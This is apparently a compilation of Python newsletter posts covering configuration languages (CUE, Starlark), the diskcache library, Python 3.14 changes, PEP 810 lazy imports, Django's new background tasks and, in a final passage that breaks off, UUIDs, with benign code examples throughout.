• While it’s not new, it’s new to me: I discovered modshim, a project that lets you patch third-party libs on the fly and import them under a different name. Kind of a mix between vendoring and monkey patching, except you install stuff normally, so you don’t need to maintain and provide the vendor code, nor do you risk the conflicts of monkey-patched code. Pretty sweet.

• Django 6 beta is out with template partials, background tasks (again we talked about this), and CSP support, but dropping support for Python 3.11 and bellow.

Oh well, sometimes I should embrace the laziness, I guess. Like Python imports.

If you haven’t seen the underrated The invention of lying, the article’s title may not ring a bell, but my point is, I really like Cuelang, and the closest thing I can get is Starlark.

You can write configuration in a decent sandboxed language, parse it with Python, and has very powerful filtering features for user capabilities.

But it does require a lot of ceremony.

Subscribe now

Configuration sucks

For small config files, times are glorious. Toml has landed officially in Python 3.11, and we can read env vars and .env files in a thousand of ways. Pydantic settings lets you define a schema for the config, load it, and validate it. You get argparse or typer to parse flags and options. And with AI, all this boilerplate doesn’t even have to be coded because, to be perfectly honest, not only is the LLM good at it, but it’s better at it than me.

However, when you get a big config file, with nested values, you need logic to generate stuff, require dividing it into several files, and so on.... The situation is quite terrible.

Toml is bad at nesting, and big .toml files are not great. It’s best used as a better .ini.

JSON doesn’t allow comments, import or trailing commas, has limited data type support, and makes you repeat yourself constantly. Alternatives like JSON5 barely make a dent at that, at the cost of being non-standard.

YAML is the worst of all, of course. I could write an entire article about it, but some people have already dedicated a website to just how awful it is.

None of those have imports, functions, or DRY facilities. Well, YAML kinda has some (ref, executable code), but they are dangerous, like everything in this devil spawn of a language.

To compensate for this, the industry decided to make it worse and use templating and ad hoc DSL for the most important (and hardest to debug) part of our stack: provisioning and CI.

So you use child-holed-ridden mitts to handle hot lava.

What an awesome idea.

Take a card, any card

Since I’m not the only one nor the first to lament about this state of affairs, nerds have been working hard at crafting tools to make the problem go away.

A myriad of configuration-oriented languages were born, and some are still more pain than gain like HCL, while others like Dhall or Jsonnet are interesting if you give them a chance.

One that really stands out from the crowd for me is CueLang, a nifty language that checks all the boxes:

• Dedicated to configuration (declarative syntax, sandboxed, not Turing complete).

• Great DRY facilities (functions, imports, sum types, loops, references).

• A really nice, strong type system to make your input as clean as possible.

• Embedded schema declaration for extra safety and reusability.

So it scales up, but more importantly, it scales down, because the language is well designed enough that simple things say simple. A basic .cue file might not be perfectly clear if you know nothing about the syntax, but you still get the gist of it:

package myapp

import “strings”

#DBType: {
    name:     string
    port:     int | *8080
    replicas: int & >=1 & <=10
    features: [...string]
    database: {
        host: string
        port: int | *5432
        ssl:  bool | *true
    }
}

DBConf: #DBType & {
    name:     “my-service”
    replicas: 3
    features: [”auth”, “logging”, “metrics”]
    database: {
        host: “db.example.com”
    }
}

output: {
    config
    url: “https://\(strings.ToLower(config.name)).example.com:\(config.port)”
}

And the beauty of Cue is that you can export it to JSON (or YAML) for compatibility, so you can do:

cue export config.cue - -e output

And get:

{
    “url”: “https://my-service.example.com:8080”,
    “name”: “my-service”,
    “port”: 8080,
    “replicas”: 3,
    “features”: [
        “auth”,
        “logging”,
        “metrics”
    ],
    “database”: {
        “host”: “db.example.com”,
        “port”: 5432,
        “ssl”: true
    }
}

Alas, the only Cue implementation is written in Go, and there are no bindings for Python, so I can’t directly load the result of the cue file in Python program. I would need to install the cue executable separately, call that with a subprocess, and load the resulting JSON.

This is not my idea of a good time. More importantly, this would not fly in the corporate world, and half of my clients are corporate. It’s hard enough to introduce an exotic language in those spheres, let alone if using it means you have to settle for a hack.

So I went back to using templated YAML, and for my projects, Python as a configuration language... No sandboxing, and you can crash your config, so not ideal, but better than the alternatives.

Not great, not terrible.

Enter starlark

I haven’t given a chance to Starlark, because:

• It comes from the Java world, a community not exactly known for its flexible and lightweight infra.

• It’s a child of bazel, and if you have ever used bazel, it’s an acquired taste.

• It’s one of those numerous “it’s like Python, well if you really squint” type of languages. I don’t like when something tries to use Python similarity as a selling point, only to pull the rug under your feet as soon as you try to use the language for real.

• The early Python bindings were super low quality.

But out of desperation, I gave it a chance, and I’m glad I did, because it can do things I hadn't realized.

It now has Python bindings based on the Rust implementation, and as is often the case with Rust projects, the quality is much better than alternatives. It helps that said implementation is from Facebook, meaning it’s likely it will be maintained on the long run. And thanks to Py03 , there are robust wheels for major platforms, so it’s easy to install:

pip install starlark-pyo3

You get access to rich and familiar data types:

# None type
nullable_value = None

# Booleans
is_production = True

# Integers
port = 8080

# Floats
cpu_threshold = 0.85

# Strings
version = "2.1.0"
description = """
This is a multi-line description
of our microservice application
that handles user requests.
"""

# Lists  
allowed_origins = [
	"https://example.com",
	"https://app.example.com",
	"https://admin.example.com",
]

# Tuples 
coordinates = (40.7128, -74.0060)


# Dictionaries
database_config = {
	“host”: “db.example.com”,
	“ports”: [5432, 80],
	“ssl_enabled”: True,
	“pool_size”: 20,
	“timeout”: 30.0,
	“allowed_origins”: allowed_origins
}

You get DRY facilities like references, functions and imports:

load(”lib/utils.star”) # this doesn’t work like you think though

def generate_service_name(app, env):
    """Generate a standardized service name."""
    return “{}-{}”.format(app, env)

And there are some built-ins for text and number manipulations. It supports UTF8, can sort stuff, provide lambdas, ** kwargs, and do comprehension lists. That’s it.

It is not AT ALL Python.

There is no while, yield, import, class, f-string, Path, @decorator, async/await, global, with, assert, set literals or comprehensions, advanced unpacking etc. It’s not like MicroPython, a limited subset of Python based on some compromises.

It’s a very restricted language (on purpose) which happens to implement its behavior with a Python flavor.

I think it’s very important to underline that. It is doing a disservice to this language to compare it to Python. You should see it as a completely different language that just happens to have similarities in syntax and naming.

The biggest difference is the import system, as it’s an opt-in system, and by default is deactivated, and uses a special load function.

Starlark in practice

Starlark programs are executed in a sandbox; they are isolated from the outside world. They don’t have, by default, access to the file system or the network.

Running one starlark file means creating an empty module, putting some values in there for the program to initialize with, execute the starlark code in the context of that module, then read the variables you are interested in back from the module.

It looks like this:

import starlark
# Assuming you code starlark code in config.star, read it:
with open(”config.star”, “r”) as f:
    starlark_code = f.read()

# Load the standard library to put at the disposal of starlark
stdlib = starlark.Globals.standard()
# Create some module in which starlark will execute in
module = starlark.Module()
# Put some data for starlark to read
module[”site”] = “www.bitecode.dev”
# Parse the starlark code (this can give you syntax errors here)
ast = starlark.parse(”config.star”, starlark_code)
# Run the code 
result = starlark.eval(module, ast, stdlib, None)
# Get our data bask
output_data = module[”variable_from_starlak”]

You could also expose callables from Python to Starlark if you want it to have more capabilities:

def calculate_tax(amount: float, rate: float = 0.1) -> float:
	“”“Python function with default arguments.”“”
	return amount * rate
	
module.add_callable(”calculate_tax”, calculate_tax)

This let you control how much of the file system and the network you want the sandbox to have access to.

By default, the config file can’t import anything. You have to provide a loader function, basically implement imports, and pass it to starlark. A basic implementation looks like this:

def load_function(filename):
    
    file_path = Path(filename)

    if not file_path.exists():
        raise FileNotFoundError(f”Cannot load {filename}: file not found”)
    
    with open(file_path, ‘r’) as f:
        source = f.read()

    module = starlark.Module()
    stdlib = starlark.Globals.standard()
    ast = starlark.parse(str(file_path), source)
    nested_loader = starlark.FileLoader(load_function)
    starlark.eval(module, ast, stdlib, nested_loader)
    return module.freeze()

And then, when you load the main Starlark file, you do this to tell it how to import stuff:

result = starlark.eval(module, ast, stdlib, load_function)

So that it can do load(”submodule.star”) in its own code.

This function is very simple and doesn’t even allow recursive imports (imports in imported files). But you can see the power in this: you can put any logic to filter imports based on anything you want, be it hashing, signature, allow-list of directories, content, naming…

Will I use Starlark in the future?

So the library is more like “build your own configuration logic” than a turnkey solution like Cuelang. It is very interesting, though, because it gives you a decently powerful language you can expose to the end users, and decide very precisely what you allow them to do or not.

If I ever need to create a system that needs a DSL for 3rd parties I can’t trust, I would consider it.

However, as a configuration language for my own systems, this is too much work upfront. Not to mention that it is the same with all those dedicated DSL: tooling and debugability are subpar.

Plus, we are missing a critical part: schemas.

You can’t easily define what data should go in, nor whether the data that goes out is correct.

Sure, you can pair it with Pydantic. But then, if I just deal with trusted users and have to wire Pydantic myself, why not just write the config in Python itself? Pydantic can export it to JSON or YAML, and I don’t have to worry too much about side effects since I’m in control of the code.

Worked ok for Django, even without the schema.

It’s not perfect, once again, and the config still suck.

But I least I discovered a cool utility.

I adore SQLite, and I like caching a lot. If you mix the two, you get diskcache, a Python local key/value store that can act like a small local subset of Redis. It stores Python values, expires them, has queues, mappings, and deques.

But it can do more than that: transactions, tagging, locking, thundering herd mitigation… There is a lot to unpack from this little utility.

And all that can be accessed from several processes concurrently, even when writing, thanks to sharding.

Subscribe now

<3

I love diskcache, I wish it came with Python. Kinda. On paper, it’s a Python local cache-oriented lib backed by SQLite, and therefore fast and robust. It features most things you expect from cache: automatic serialization, key/value syntax, expiration system with transparent key evictions...

Using it looks like this:

>>> from diskcache import Cache
... import time
... cache = Cache(’/tmp/mycache’)
... # expires after 2 seconds
... cache.set(’frog’, ‘frinos’, expire=2)
True
>>> print(cache.get(’frog’))
frinos
>>> time.sleep(3); print(cache.get(’frog’))
None

Simple... and efficient! Access time is in µs:

>> %timeit cache.set(’frog’, ‘frinos’)
39.9 μs ± 271 ns per loop (mean ± std. dev. of 7 runs, 10,000 loops each)
>>> %timeit cache.get(’frog’)
5.01 μs ± 80.4 ns per loop (mean ± std. dev. of 7 runs, 100,000 loops each)

It’s a sweet little piece of software that is really nice to have in your toolbox. You can use it in quick and dirty scripts, and even in small to medium websites. In fact, it comes with a Django cache backend out of the box.

But it can do much more than caching!

Thank you, giant shoulders

Being based on SQLite means you get atomic and thread-safe operations, sweet, sweet, ACID semantics, and with that, you get a lot of things for free.

One thing diskcache can provide that a lot of caching systems don’t, is a transaction, meaning a way to write or read a bunch of stuff as if it were one unit:

with cache.transact():
     value = cache.get(’counter’, 0)
     value += 1
     cache.set(’counter’, value)

Because the cache can be written from several processes, this is very valuable. Consider this script:

from diskcache import Cache
from multiprocessing import Process
import sys

cache = Cache(’/tmp/mycache’)

def increment(use_transaction: bool):
    for _ in range(100):
        if use_transaction:
            with cache.transact():  # atomic read-modify-write
                value = cache.get(’counter’, 0)
                cache.set(’counter’, value + 1)
        else:
            # No transaction — race conditions likely under concurrency
            value = cache.get(’counter’, 0)
            cache.set(’counter’, value + 1)

if __name__ == “__main__”:
    use_transaction = “--with-transaction” in sys.argv

    cache.set(’counter’, 0)

    print(f”Running with{’out’ if not use_transaction else ‘’} transactions...”)

    # Launch 4 processes doing increments concurrently
    procs = [Process(target=increment, args=(use_transaction,)) for _ in range(4)]
    for p in procs:
        p.start()
    for p in procs:
        p.join()

    print(’Final counter:’, cache.get(’counter’))

It runs 4 processes, within each, a loop of 100 steps, incrementing the counter, so we should reach 400. But without a transaction, we do not, because sometimes several processes read the old value together, and increment this value, each of them saving the same number in the cache:

python increment.py
Running without transactions...
Final counter: 165

But with transactions, we get 400, because each pair read and write is guaranteed to happen as a whole:

python increment.py --with-transaction
Running with transactions...
Final counter: 400

Although keep transactions as short as possible because, during a transaction, no other writes occur to the cache.

Another SQLite goodness is the fact under the hood, it’s a full-featured relational database. Diskcache takes advantage of that in several ways.

It can add metadata to cache keys. E.G, it can add tags:

for num in range(100):
    _ = cache.set(num, num, tag=’odd’ if num % 2 else ‘even’)

And then perform operations, like key eviction, based on those tags:

cache.evict(’even’)

It can also let you iterate on keys in either insertion order or sorted keys:

for key in ‘cab’:
    cache[key] = None

list(cache)
[’c’, ‘a’, ‘b’]

list(cache.iterkeys())
[’a’, ‘b’, ‘c’]

And can look up the first and last item:

cache.peekitem()
(’comment:1’, "FIIIIIIIIIIIRST")

cache.peekitem(last=False)
(’comment:8908098’, "Pics or didn't happen")

In fact, if all you need is a queue, keys can be generated automatically, and values pushed and pulled, like in a list:

>>> key = cache.push(’first’)
>>> cache[key]
‘first’
>>> _ = cache.push(’second’)
>>> _ = cache.push(’zeroth’, side=’front’)
>>> _, value = cache.peek()
>>> value
‘zeroth’
>>> key, value = cache.pull()
>>> print(key)
499999999999999
>>> value
‘zeroth’

There is even a wrapper for that: Deque, an ordered collection with optimized access at its start and end. It features a .rotate() methods that take the last item and put it back as the first one, very quickly, so you can cycle the whole thing, like Python’s collections.deque.

Diskcache also comes with an (opt-in) sharding system to allow writing from several processes, so you can use it from your typical FastAPI, Flask, or Django application with multiple workers and not encounter the dreaded SQLITE sqlite3.OperationalError: database is locked:

from diskcache import FanoutCache
# 4 shards, so at 4 concurrent possible writes, and a 1 second timeout
cache = FanoutCache(shards=4, timeout=1)

So there is no reason to create only one instance of diskcache. You can have many, each being specialized and dedicated to something. One cache can be used as a general cache. Another one can be a queue. A last one can be a poor man’s DB.

And now all together

Making multiple concurrent actors play nicely is really hard. E.G: how do you avoid duplicating your functools.lru_cache ? How do you avoid your cache eviction from triggering several calculations at the same time? How do you avoid concurrent access to resources?

Diskcache comes with plenty of utilities for that, with sane defaults, and they will work even if you are not the one starting the processes (like with a WSGI server).

It can cache the value of a function:

>>> @cache.memoize()
... def slow_add(a, b):
...     print(f”Computing {a} + {b}”)
...     return a + b
... 
... print(slow_add(2, 3))  # Computes
... print(slow_add(2, 3))  # Cached result, no print
Computing 2 + 3
5
5

But what if the function takes 5 seconds, and then 4 processes call it at the same time? They will all trigger the cache regeneration at the same time. Well, you can ask for an early optimistic run:

from diskcache import memoize_stampede
@memoize_stampede(cache, 5)
def expensive_compute(x):
    import time
    print(f”Computing {x}”)
    time.sleep(2)
    return x * x

print(expensive_compute(5))  

The first run will perform the function, but no subsequent call will. Instead, they will always return the cached result, but also perform a probabilistic calculation about the need to update the cache. If it’s time, it may run the function in a thread. The closer to the expiration, the more chance to run the function.

Of course, you also have various types of locks, the simplest being:

from diskcache import Lock
name = ‘stock and two smocking barrels’
lock = Lock(cache, name)
with lock:
    print(”Critical section: only one process/thread at a time”)

A much better solution than creating a lock file. There are also reentrant locks, bounded semaphores, and a decorator to lock a function:

@cache.barrier(cache, Lock)
def compute():
    with barrier:
        print(”Computing...”)
        import time; time.sleep(2)

compute()  # Only one computes; others wait and reuse result

Or throttle one (limit to one call every x seconds):

@diskcache.throttle(’mykey’, expire=3)
def myfunc():
    print(”Executed!”)
    return “done”

myfunc()  # Executes
myfunc()  # Skipped if within 3 seconds

You can mix and max, and get creative. If you pair multi-processing with a lock and a Deque, you get a cheap task queue. If you use .incr on IP+UA+URL key with a daily expiration time, you get an approximate page visit count. Add a bloom filter on top, and you get a sloppy but working deny list for abusers.

Once you get a few basics that compose well, you can get pretty far until you need big-boy solutions.

• PDB gets a lot of love, benefiting from the new shell features, a saner breakpoint strategy, and a nicer quitting experience.

• Asyncio too, with loop policies and implicit loop creation going away, as well as a nice utility to see all running tasks live.

• argparse now provides a much better --help and subcommand typo suggestions.

• Concurrency is not forgotten, with Linux getting a new default process creation strategy replacing “fork”, interpreters get their own pool executors, ProcessPoolExecutor can now terminate or kill all workers and SyncManager accept sets.

• And loads of little things.

Subscribe now

Xmas sockets

In October, I feel like a kid waiting for Xmas, except I already know what gifts I’m going to get. Free Threading, t-string, remote debugging, UUI7, and colors in the shell!

But what about the stuff I didn’t know about? The surprise visit of an uncle? My brother, who decided last minute to buy me stuff?

So uv self update && uv python upgrade 3.14, and let’s unwrap the goods!

PDB gets love

Despite how old school it is, I deeply like PDB, and if you really never got to use it, we have a little article for you.

In 3.14, the big bang is the fact you can now attach remotely to any running Python program. Yes, it is awesome and everyone is talking about it, but they really went the extra mile and polished many other details.

For example, one thing that has annoyed me for a long time when creating a breakpoint() is that it restarts a new PDB instance. If you are in a loop, it will create many of them, and of course, losing on the way the ability to type Enter and repeat the last command you used.

This is now fixed, and inline break points will reuse any previous debugger instance that existed.

This release also:

• Removed the stack trace when you quit PDB. I always thought it was weird that quitting the debugger made you feel like crashing the program.

• Adds a confirmation prompt to avoid exiting by mistake.

• Inserts 4 spaces when using <tab>. It used to insert a \t , meaning it would look like 2 spaces the first time and 8 the second. Since we now have multi-line in PDB (from 3.13), it was weird to have for-loop lines all over the place.

• And thanks to that, we also get auto-indent.

• Adopts most of the goodies of the better Python shell, so the code you type in PDB will also be highlighted and have code-completion :)

• Makes debugging asyncio better with pdb.set_trace_async() letting you call await inline in the REPL and a magic variable $_asynctask contains the current task.

Explicit is better even in asyncio

asyncio.get_event_loop used to be very surprising because it returned the current event loop if it existed, but if it didn’t... it created one.

This behavior has been deprecated since 3.10, and it will go away, along with the WHOLE policy system.

Ok, I didn’t see that one coming, as being able to use Policy objects to customize the loop creation process was there since the beginning of the lib, so it’s a big change, and I missed the deprecation warning.

To be clear, I hated the whole policy stuff. It is confusing, heavy, and a source of conflicts between 3rd parties. I’m really happy it’s going away.

So now people are expected to just always call asyncrio.run, optionally with loop_factory as a parameter, which is a much better, leaner, and simpler system. For edge cases when you want to really manage your loop manually (basically reimplement run()), you now have a Runner class and can communicate with the group of tasks using an Event object..

Introspection capabilities are also improving and exposed through two new commands:

• python -m asyncio ps PID attaches to a Python process from outside, and displays all asyncio tasks running in it in a table form, with their names, their coroutine stacks, and which tasks are awaiting them.

• python -m asyncio pstree PID does the same but displays a visual async call tree:

argparse is now more user-friendly

Things take time, as the date of this request attests:

And today, argparse supports “python -m module” in help correctly. It’s the little things.

It also has a new ArgumentParser(suggest_on_error=True) parameter to let people know about typos on sub-commands, plus the help text is colorized:

I really like this trend of improving QoL for the unsexy tools we use every day. It all started with Pablo Galindo Salgado improving the stack trace and error messages (may he reach Valhalla for this), and now the REPL, PDB, argparse... This is great and has tremendous cumulative value.

A big thank you and much respect to all the people who do this work that doesn’t put you in the spotlight yet improves all our daily lives.

Concurrency options expand

Sure, free threading is the big thing in this release, and multi-interpreters, its direct competitor, is consolidating.

But there are other interesting developments in the concurrency area.

First, multiprocessing on Linux is changing too, adopting a different default strategy to create a new process. It used to be that “fork” was the default behavior when spawning a new process on that platform, but this could cause issues because forked processes inherit a lot from their parent process. This can conflict with shared resources, or if threads are used in the parent.

While regular forking is always available as an option (if you need perfs or compat), the new default strategy, “forkserver”, creates a brand new process using the “spawn” strategy. The said process is solely dedicated to forking. Then it forks this dedicated one instead of the parent for each new worker it needs, avoiding the sharing of unwanted things.

Setting the strategy can be global to the multiprocessing module, and in that case cannot be used more than once:

import multiprocessing as mp

def foo(q):
    q.put(’hello’)

if __name__ == ‘__main__’:
    mp.set_start_method(’fork’)
    q = mp.Queue()
    p = mp.Process(target=foo, args=(q,))
    p.start()
    print(q.get())
    p.join()

I would not recommend that. Instead, use a context and create a new process from it:

import multiprocessing as mp

def foo(q):
    q.put(’hello’)

if __name__ == ‘__main__’:
    ctx = mp.get_context(’fork’)
    q = ctx.Queue()
    p = ctx.Process(target=foo, args=(q,))
    p.start()
    print(q.get())
    p.join()

The first version is mostly useful with libraries that don’t let you pass a context.

Also note that stuff using PyInstaller and cx_Freeze (or any so-called frozen executable) will not work with “forkserver”, so you still need to use “fork” if you use those. Distributing Python programs to the end user is a gift that never stops giving.

Another change, one that is very welcome, is the ability to ensure all workers of a pool executor die. ProcessPoolExecutor is by far the simplest way to get basic multi-core concurrency in Python, but making sure all your workers are shut down is work you don’t want to do.

We now have a very heavy hammer for this and can call terminate_workers() (to politely send SIGTERM and the windows equivalent) to all of them. If it doesn’t work, you can escalate to the bazooka with kill_workers() which does what you think it does.

Still waiting for a good way to do the same with threads, since cancelling them is still a terrible experience in Python, and is one of the reasons there is so much talk about green threads right now, which would make that a much better experience.

On top of all this, we have a new pool, InterpreterPoolExecutor, which does the same of ThreadPoolExecutor and ProcessPoolExecutor, but for multiple interpreters. It looks and feels like ThreadPoolExecutor because that’s a subclass, but it has true parallelism since each thread runs with its own GIL. It also pays the same serialization price as ProcessPoolExecutor (using pickle), so I’m not sure I can find a use case for it. But I get why it’s there; you need to play with multi-interpreters if you want to find out if they are good at anything.

Oh, and I almost forgot: sets are now supported by SyncManager, joining lists and dicts into the exclusive club of data structures you can automatically synchronize between multiple processes (basically a poor man’s redis).

Do you have a moment to talk about our Lord and Savior strict?

zip(strict=True), the flag that forces all iterables to be of the same length, is a feature that, when it came out in 3.10, I didn’t think I would use nearly as much as I did. It saved my butt twice this month already, and I regularly activate the related B905 check on ruff.

>>> list(zip([1, 2, 3, 4], [1, 2, 3], strict=True))
Traceback (most recent call last):
  File “<python-input-1>”, line 1, in <module>
    list(zip([1, 2, 3, 4], [1, 2, 3], strict=True))
    ~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ValueError: zip() argument 2 is shorter than argument 1
>>> # or TypeError: list() takes no keyword arguments sometimes :D

Now zip() having multiple iterables passed to it is a given; that’s its main job. But do you know which function can also do that, but that most people don’t use in that way?

map()

In Python, map() applies a function to each element of an iterable. Or does it? In fact, it can apply a function to elements of any number of iterables we want. You can do this with map():

>>> # always get the biggest element from those lists
>>> list(map(max, [8, 1, 7, 999], [-1, 82, 3, 4]))
[8, 82, 7, 999]

Which is basically the equivalent of this comprehension list:

>>> [max(x, y) for x, y in zip([8, 1, 7, 999], [-1, 82, 3, 4])]
[8, 82, 7, 999]

And you can spot the problem now, since this is the equivalent of a call to zip(). It has the same need for strict, and it therefore now has the parameter as well:

>>> list(map(max, [8, 1, 7, 999], [-1, 82, 3, ]))
[8, 82, 7]
>>> list(map(max, [8, 1, 7, 999], [-1, 82, 3], strict=True))
Traceback (most recent call last):
  File “<python-input-0>”, line 1, in <module>
    list(map(max, [8, 1, 7, 999], [-1, 82, 3], strict=True))
    ~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ValueError: map() argument 2 is shorter than argument 1

And moar

• We have new mime types. Lots of them! Woff fonts, mkv, jpeg2000, 7z, .deb, .ogg, .docx, .odg...

>>> mimetypes.types_map[’.deb’]
‘application/vnd.debian.binary-package’

Plus a command line to get them:

❯ python -m mimetypes filename.7z 
type: application/x-7z-compressed encoding: None
> python -m mimetypes --extension application/vnd.android.package-archive
.apk

• strptime added to datetime.time and datetime.date objects. We don’t always need to get a datetime.datetime when we parse stuff \o/

>>> datetime.time.strptime(”12:45”, “%H:%M”)
datetime.time(12, 45)

• python -m http.server, which allows you to start a web server anywhere on your machine and serve the file in the current directory automatically, now supports SSL:

❯ python3.14 -m http.server -h | grep tls
                                 [-p VERSION] [--tls-cert PATH]
                                 [--tls-key PATH] [--tls-password-file PATH]
  --tls-cert PATH       path to the TLS certificate chain file
  --tls-key PATH        path to the TLS key file
  --tls-password-file PATH

• pathlib.Path now has recursive directory copy/move and deletion, no more back and forth with shutil! The implementation is smart and provides two distinct methods to copy to and copy into, instead of making it dependent on the path passed, like bash does. Also, they cache stats information, and work across file systems. Got bitten by those before, so noice.

• Python may finally get lazy imports

• Django will definitely get built-in task queues

• And a few small stuff.

Subscribe now

PEP 810: lazy imports

I’m a week late for writing the monthly Python recap, but then something interesting happened: PEP 810 dropped a few days ago. Technically October’s news, but it’s too good to pass on, so let’s dive into that.

When you import a module in Python, its entire code is executed. This includes its own contained imports, executing other files, and so on. Because of this, importing a single name from a package can cascade so that almost all of it runs.

E.G, importing a single function from numpy executes 129 modules!

❯ python -c “import sys; old = len(sys.modules); print(old); from numpy import sum; new = len(sys.modules);print(new) ; print(new - old);” 

36
165
129

This is an issue in two cases:

• One-shot CLI tools. Sometimes the import time dominates the whole execution time. Even running --help could be costly! Mercurial famously suffered from this and had special functions to deal with it.

• Very big code bases that pay a huge starting cost because they have so many imports to resolve before being able to do anything. FAANG monorepos are the first victims.

For these reasons, we witnessed year after year new projects using some form of mitigation, like putting imports in function calls, setting lazy module attribute getters, or even creating new features. Cinder, the Facebook Python fork, did the latter.

Lazy imports are the logical solution to this: delay the load of the file, so that it’s executed not when you write the import statement, but later on, when you access the module content for the first time. When you actually use the module.

Lazy imports have been proposed before, but a consensus couldn’t be found. This time, they could land in Python 3.15 as the reception has been very positive. It is indeed an elegantly and meticulously crafted PEP, that comes with:

• An optional lazy keyword to mark an import as potentially lazy.

• A new interpreter mode for lazy imports that can be either default, disabled or enabled.

• A Python flag -x lazy_import=”<mode>” to set this mode.

• A PYTHON_LAZY_IMPORTS env var to set this mode.

• A Python API to set this mode with sys.set_lazy_imports()

• A __lazy_modules__ magic variable you can use to list modules and mark them as potentially lazy. This requires no new syntax, unlike the lazy keyword.

• A __lazy_import__() function that is the lazy equivalent of __import__().

• A sys.set_lazy_imports_filter() callback to programmatically exclude imports from being lazy.

If an import is marked this way:

lazy import json

Or this way:

lazy from json import dumps

Then it is marked as “potentially lazy”. If the interpreter's lazy import mode is default, then the marked import will indeed be lazy. If the mode is disabled, it won’t be. If the mode is enabled, all imports, marked or not, will be lazy.

This seems like a strange design until you realize that:

• The default is to follow what the keyword tells you.

• A global OFF switch is very interesting anywhere you need predictable performances. Because lazy imports could trigger a hot path anywhere. Disabling them make sure you pay the cost up front, like for a web server, where you want it at the start of the process, not at the first HTTP request handling.

• A global ON switch is very useful for testing.

• __lazy_modules__ allows to opt in early, but make it compatible with old Python versions that don’t yet have the new syntax: they just get ordinary imports.

• set_lazy_imports_filter() is a safety net for all the things the spec designers didn’t think about.

The proposal has a very narrow scope as well:

• lazy only works on imports. It is not a general lazy language feature. In fact, it mostly binds a proxy object to the module holding variable until an attribute is accessed.

• Any introspection of the import state will trigger reification (meaning imports will be executed). You look at it, it resolves, period.

• They don’t try to solve circular import.

• It’s not recursive. lazy only affects the import it marks, not the ones in the lazily imported modules.

The specs authors have done a good job at thinking about a lot of edge cases, without overdoing it. Given they are touching a very complex and sensitive part of Python, an immensely popular language among a super diverse crowd, it’s an incredible balancing job they did.

And there are many such details:

• __future__ can’t be lazy.

• sys.modules don’t contain the module name until first access, so that in checks work as expected.

• import *, imports in try/except (or context managers) and in functions cannot be marked as lazy.

• ImportError tracebacks on lazy-loaded modules will contain both the error at the access site and the import site.

• In the context of multi-threading, exactly one thread performs the import and atomically rebinds the importing module’s global to the resolved object, making it thread safe.

Of course, lazy imports come with a “here be dragons” warning, since:

• Imports might trigger in a different order than listed in the file.

• Side effects now occur at access time (that’s the point).

• If you look at the module object, it now contains a proxy.

• This will play interestingly if you lazily import something in one parent thread and use it first in a child thread, as the side effects occur there.

So if this gets implemented, don’t jump on it, even if it looks like an easy win. Use it only if the need arises; it is definitely an advanced feature.

And so much respect to the 7 people that came up with this, even if it’s not. It’s a beautiful example of how one should approach a problem, solve it, then explain it to the world.

Django finally gets background tasks

Any big Django website ends up having some kind of task queue to run blocking or long-running processes. 10 years ago, Celery was popular, but then more lightweight solutions like rq and huey took hold.

However, Django is typically batteries included, and it was about time it would come with its own solution out of the box, which finally was specified in DEP 14, thanks to Jake Howard, a part of the excellent Wagtail team.

It is expected to be available for version 6.0, coming out at the end of this year.

So what does it look like?

Well, let’s say you need to encode a video, and it takes a long, long time, so you don’t want to block your requests while you do.

First, you configure your task backend, which defines where the tasks and results are going to be stored. Appart from dummy and instant that are made for testing, the only option is currently storing stuff in the DB:

TASKS = {
    “default”: {
        “BACKEND”: “django_tasks.backends.database.DatabaseBackend”
    }
}
INSTALLED_APPS = [
    # ...
    “django_tasks”,
    “django_tasks.backends.database”,
] # don’t forget to ./manage.py migrate

You can define a task:

from imaginary_video_module import encode_video
from django.tasks import task

@task()
def encode_video_task(video_file_path):
    return encode_video(video_file_path)

You can then start your worker process:

./manage.py db_worker

This is the process, separate from your web process, that will handle the tasks.

And then, anywhere in your endpoints:

result = encode_video_task.enqueue(
    video_file_path=”./path/to/video.mp4”
)

This call will not block the endpoint, and instead, send a request to the task queue, which will deal with the video in a separate process. This way, your users get a response immediately, while the video is encoded in the background.

result is a special object that contains an id (so you can retrieve it elsewhere with default_task_backend.get_result()), a status (so you can know if the task is ready, pending, failed, etc), a return_value (it raises ValueError if the task status is not ResultStatus.SUCCEEDED) and errors, a list of objects containing information about potentially raised exceptions during your task.

It’s not a very fancy system (in fact, I managed to contribute a couple of lines to the project because the code was very accessible). For now, there is no possible custom backend, no alternative to the db backend, traceback information is just strings, there is no priority, and in fact, no timeout handling, no retry, no cancellation, not even observability!

But it’s also a no-brainer to setup, and should be sufficient for projects that just want to offload a few things without having to build a babel tower just yet.

So this first step is, as usual, to test the water. It’s not going to replace your multi-tenant terraformed airflow to Kafka deployment any time soon, but it will improve.

Small stuff

• six, the 2 to 3 compat library, is still in the top 20 of most downloaded libs from Pypi.

• PEP 757 wants to normalize how Python imports and exports integers.

• Mypy 1.18.1 is out, tooting a big bump in performance.

• Still more attacks on Pypi.

• uv now allows installing invalid wheels (it’s opt-in). Sounds like pyx is hitting corporate land.

• nanodjango, a microframework-like API for Django, has a new website. Good time to let you know this tool exists.

UUIDs are 128-bit numbers that look like this:

c5cba9cb-7109-40f8-96d2-346dc83f3a1f

They can be generated by most programming languages and database systems. E.G in Python:

>>> import uuid
>>> str(uuid.uuid4())
'56b20fff-b22e-4117-9288-b9da686d299b'

They have very strong uniqueness guarantees. You could generate billions of them for years without finding a duplicate. Being unique is a property of the way they are created; it requires no coordination, so you can generate them from different sources all over the world.

They are appealing to be used as unique identifiers, such as a database primary key. While they are bigger and slower, they do save a lot of headaches, and are a very nice tool to have at your disposal.

Subscribe now

Apparently, it's important

With UUID7 being added to modern Python and Postgres, there has been a debate about exposing internal IDs to the outside world and the consequences for security.

Some people advise using a public ID that is different from the internal unique ID of your DB to reduce the attack surface. Some points out UUID7 having a timestamp part is metadata that can be used to infer some information (E.G: imagine you get a medical test for a disease, with the ID you know when the procedure happened).

When I read such a debate, I always remember that most systems out there are still using some incremental primary key, or use a natural key. And that a lot of teams don't even think about what type of ID they are using.

Let's explain what this stuff is, so you can make those decisions yourself.

The need for uniqueness

If I talk about the movie Dracula, which one am I talking about? There are so many!

You may start adding information about it to differentiate them, like the director. The one by George Melford or the one by John Badham? But then you hit the problem that Coppola's movie, probably the most famous one, is not named Dracula, but in fact "Bram Stoker's Dracula". Except on the French market, where it is.

You may use the year then, but in 1931, two Dracula movies came out.

So what about using the exact release date?

But in which country?

